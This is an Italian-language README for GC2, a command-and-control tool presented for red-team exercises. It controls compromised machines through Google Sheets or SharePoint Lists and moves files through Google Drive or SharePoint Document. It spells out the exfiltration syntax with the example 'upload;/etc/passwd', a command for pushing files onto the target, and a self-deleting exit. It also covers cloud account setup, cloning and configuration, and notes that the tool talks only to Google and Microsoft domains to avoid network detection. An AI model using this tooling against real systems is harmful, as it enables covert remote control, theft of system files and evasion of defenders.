
GC2 è un'applicazione di Command and Control che consente a un attaccante di eseguire comandi sulla macchina target utilizzando Google Sheet o Microsoft SharePoint List e di esfiltrare file utilizzando Google Drive o Microsoft SharePoint Document.
GC2 (Google Command and Control) è un'applicazione di Command and Control che consente a un attaccante di eseguire comandi sul computer bersaglio utilizzando Google Sheet o Microsoft SharePoint List e di esfiltrare file tramite Google Drive o Microsoft SharePoint Document.
Questo progetto è stato sviluppato per fornire un command and control che non richiede alcuna particolare configurazione (come: un dominio personalizzato, VPS, CDN, ...) durante le attività di Red Teaming.
Inoltre, il programma interagirà solo con i domini di Google e Microsoft (come *.google.com) per rendere più difficile il rilevamento di rete.
Un Google Sheet verrà creato automaticamente dal C2. Una volta creato, puoi interagire con il sistema compromesso come mostrato di seguito.
Un Microsoft SharePoint List verrà creato automaticamente dal C2. Una volta creato, puoi interagire con il sistema compromesso come mostrato di seguito.
Un comando speciale è riservato per esfiltrare file dal sistema bersaglio.
Dal Bersaglio a Google Drive/Microsoft SharePoint Document
upload;<percorso_locale>
Esempio:
upload;/etc/passwd
Nota: i file con lo stesso nome vengono automaticamente sovrascritti.
Un comando speciale è riservato per scaricare file sul sistema bersaglio.
Da Google Drive al Bersaglio
download;<id_file_google_drive>;<percorso_locale>
Esempio:
download;<ID file>;/home/user/downloaded.txt
Nota: i file devono essere salvati nella cartella principale di SharePoint, di solito "Documents"
Da SharePoint al Bersaglio
download;<percorso_file_SharePoint>;<percorso_locale>
Esempio:
download;download.txt;/home/user/downloaded.txt
Inviando il comando exit, il C2 si ucciderà e si cancellerà dal sistema bersaglio.
PS: Dalla documentazione di os: Se un collegamento simbolico è stato usato per avviare il processo, a seconda del sistema operativo, il risultato potrebbe essere il collegamento simbolico o il percorso a cui puntava. In questo caso, il collegamento simbolico viene cancellato.
Questo C2 supporta sia i servizi Google (Google Sheet + Google Drive) che Microsoft (SharePoint Lists + SharePoint Document). Per usare il C2 devi configurare sia la configurazione locale che quella cloud.
Crea un nuovo "account di servizio" Google
Crea un nuovo "account di servizio" Google utilizzando https://console.cloud.google.com/, crea un file di chiave .json per l'account di servizio.
Abilita Google Sheet API e Google Drive API
Abilita Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api e Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Configura Google Sheet e Google Drive
Crea un nuovo Google Sheet e condividilo (come Editor) con l'Account di Servizio (utilizzando la sua email).
Crea una nuova cartella Google Drive e condividila (come Editor) con l'Account di Servizio (utilizzando la sua email).
Per interagire con i servizi Microsoft dovrai prima avere un abbonamento Business (puoi ottenerne uno gratuito per i primi 30 giorni).
Crea un'Applicazione Azure
Crea una nuova Applicazione Azure come descritto qui https://learn.microsoft.com/it-it/graph/auth-v2-service?tabs=http
Dopo aver creato la nuova applicazione, abilita le seguenti Graph API:
Scarica il C2
Il C2 può essere clonato direttamente da GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configura il C2
Per configurare il C2 devi modificare il file cmd/options.yml. Il C2 supporta sia i servizi Google che Microsoft; è possibile anche mescolarli.
Solo servizi Google
CommandService: "Google" # Google Sheet verrà usato come servizio di comando per prelevare comandi e inviare output
FileSystemService: "Google" # Google Drive verrà usato come filesystem per scaricare ed esfiltrare file
GoogleServiceAccountKey : "1234567890" # il tuo file json escapeato
GoogleSheetID: "0987654321" # il tuo Google Sheet ID (lo trovi nell'URL)
GoogleDriveID: "1234554321" # il tuo ID cartella Google Drive (lo trovi nell'URL)
#RowId: 1 # opzionale, specifica da quale riga (Google Sheet o SharePoint List) il beacon deve prelevare nuovi comandi
#Proxy: "http://127.0.0.1:8080" # opzionale, specifica il proxy
Verbose: true # opzionale, consigliato per debug
La chiave dell'account di servizio Google deve essere escapeata prima di incollarla nel file di configurazione. Puoi usare il seguente comando per escapearla:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'